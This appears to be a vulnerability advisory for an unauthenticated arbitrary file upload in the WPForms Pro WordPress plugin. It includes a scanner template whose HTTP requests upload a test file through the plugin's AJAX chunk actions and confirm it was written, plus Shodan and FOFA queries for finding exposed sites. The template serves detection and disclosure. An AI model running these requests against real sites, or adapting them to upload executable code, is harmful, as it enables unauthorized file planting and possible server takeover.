CVE-2026-10818: WPForms Pro <= 1.10.1.1 - Unauthenticated Arbitrary File Upload
2026-10-08PoC Public
Description
WPForms Pro for WordPress up to and including 1.10.1.1 allows unauthenticated arbitrary file upload. The wpforms_upload_chunk_init, wpforms_upload_chunk and wpforms_file_chunks_uploaded AJAX actions are registered for unauthenticated visitors without a nonce check, and raw chunk bytes are written under wp-content/uploads/wpforms/tmp/ before file extension and MIME type validation happens, so a rejected upload never removes the already written file. An unauthenticated attacker can plant arbitrary files and, depending on server configuration, achieve remote code execution.
PoC
id: CVE-2026-10818
info:
name: WPForms Pro <= 1.10.1.1 - Unauthenticated Arbitrary File Upload
author: i-am-paradox
severity: high
description: |
WPForms Pro for WordPress up to and including 1.10.1.1 allows unauthenticated arbitrary file upload. The wpforms_upload_chunk_init, wpforms_upload_chunk and wpforms_file_chunks_uploaded AJAX actions are registered for unauthenticated visitors without a nonce check, and raw chunk bytes are written under wp-content/uploads/wpforms/tmp/ before file extension and MIME type validation happens, so a rejected upload never removes the already written file. An unauthenticated attacker can plant arbitrary files and, depending on server configuration, achieve remote code execution.
impact: |
Unauthenticated attackers can plant arbitrary files in the webroot, which can lead to remote code execution when the written file is reachable and interpreted by the server.
remediation: |
Update WPForms Pro to a version later than 1.10.1.1.
reference:
- https://github.com/Nxploited/CVE-2026-10818
- https://nvd.nist.gov/vuln/detail/CVE-2026-10818
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2026-10818
epss-score: 0.02482
epss-percentile: 0.84098
cwe-id: CWE-434
metadata:
verified: true
max-request: 4
vendor: awesome-motive
product: wpforms
shodan-query: http.html:"wpforms-uploader"
fofa-query: body="wpforms-uploader"
tags: cve,cve2026,wordpress,wp-plugin,wpforms,fileupload,unauth,intrusive
variables:
dzuuid: "{{randstr}}"
chunkname: "{{sha1(dzuuid)}}"
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- 'contains(body, "wpforms-uploader")'
internal: true
extractors:
- type: regex
name: form_id
regex:
- 'data-form-id="(\d+)"'
group: 1
internal: true
- type: regex
name: field_id
regex:
- 'data-field-id="(\d+)"'
group: 1
internal: true
- type: regex
name: input_name
regex:
- 'data-input-name="([^"]+)"'
group: 1
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=wpforms_upload_chunk_init&form_id={{form_id}}&field_id={{field_id}}&name=nx-{{randstr}}.txt&dzuuid={{dzuuid}}&dztotalfilesize=32&dztotalchunkcount=1
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----nxBoundary
------nxBoundary
Content-Disposition: form-data; name="action"
wpforms_upload_chunk
------nxBoundary
Content-Disposition: form-data; name="form_id"
{{form_id}}
------nxBoundary
Content-Disposition: form-data; name="field_id"
{{field_id}}
------nxBoundary
Content-Disposition: form-data; name="dzuuid"
{{dzuuid}}
------nxBoundary
Content-Disposition: form-data; name="dzchunkindex"
0
------nxBoundary
Content-Disposition: form-data; name="dzchunksize"
32
------nxBoundary
Content-Disposition: form-data; name="dztotalchunkcount"
1
------nxBoundary
Content-Disposition: form-data; name="dzchunkbyteoffset"
0
------nxBoundary
Content-Disposition: form-data; name="{{input_name}}"; filename="nx-{{randstr}}.txt"
Content-Type: text/plain
{{randstr}}
------nxBoundary--
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "\"success\":true")'
condition: and
internal: true
- raw:
- |
GET /wp-content/uploads/wpforms/tmp/{{chunkname}}-0.chunk HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "{{randstr}}")'
- 'status_code == 200'
condition: and
# digest: 4a0a0047304502203316fc61d0e76174f9abb111600c54b6525ae9bd05fcf7c72897e540c0b20e43022100e73d136d43d8ca7d4ba9b87c41bc3ed8907be6bca6362070effaebf96d721b0a:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.